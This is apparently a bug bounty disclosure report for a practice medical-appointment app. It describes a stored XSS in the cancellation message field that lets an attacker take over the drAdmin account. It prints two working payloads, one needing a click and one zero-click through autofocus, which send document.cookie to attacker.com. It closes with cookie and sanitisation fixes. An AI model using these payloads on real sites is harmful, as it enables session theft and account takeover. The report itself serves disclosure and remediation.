BugBountyHunter

Description

Hello Sean,

I found out that when users want to cancel their appointment they will be given a message to left for the doctor, however, certain sanitization is not in place and it can be bypassed, XSS is possible that leads to One-Click admin account takeover.

Steps to reproduce

First of all, you need to make an appointment on the /book-appointment.html endpoint, after doing so you will be given an ID for your appointment.

Next, copy the ID and paste it in /yourappointments.php endpoint to retrieve information about your appointment, before clicking the "Cancel Appointment" intercept your request and put in the following payload inside the message parameter (you need to add the message parameter first):

"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='http://attacker.com?cookie='%2bdocument.cookie">

Here is the screenshot of the sample HTTP request:

send the request and go back to the doctor panel with the drAdmin account and visit the /drpanel/cancelled.php endpoint

Clicking on the last canceled message:

you will be redirected to the https://attacker.com?cookie=drps={drAdmin Cookie}, this cookie will be sent over to the attacker's server(Burp Collaborator was used in here for the sake of the POC), and the attacker can set this cookie on his browser to get the drAdmin (Administrator) access to the application.

No User-Interaction payload:

I just realized that an attacker can build a payload that doesn't even need the click on the cancellation message, the following payload doesn't work on firefox, but all other browsers including chrome and edge are supported.

"><xss/id="1"/tabindex="1"/style="font-size:%2010px"/autofocus/onfocusin="window.location.href='http://attacker.com?cookie='%2bdocument.cookie">

Using the above payload there the admin is exploited by force and without any user interaction. only opening the "canceled appointment" page will trigger the XSS.

For the payload I made, the drAdmin (Administrator) will be redirected to attacker.com which is the example attacker's server in the proof of concept and his cookies will be sent over in the URL as shared in the screenshot below:

This happens because of two cookies misconfiguration:

1. Cookies are not set as httponly which makes it possible for an attacker to steal cookies using javascript.

2. Cookies are not deleted/expired as they meant to be after logging out, which makes it possible for an attacker to re-use the cookies whenever he wants to.

Set-Cookie: drps=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Remediation

1. Proper sanitization on the message parameter.
2. Preferably set httponly cookies so that javascript can not be used to steal cookies.

Impact

• One-Click admin account takeover

Best Regards,

HolyBugx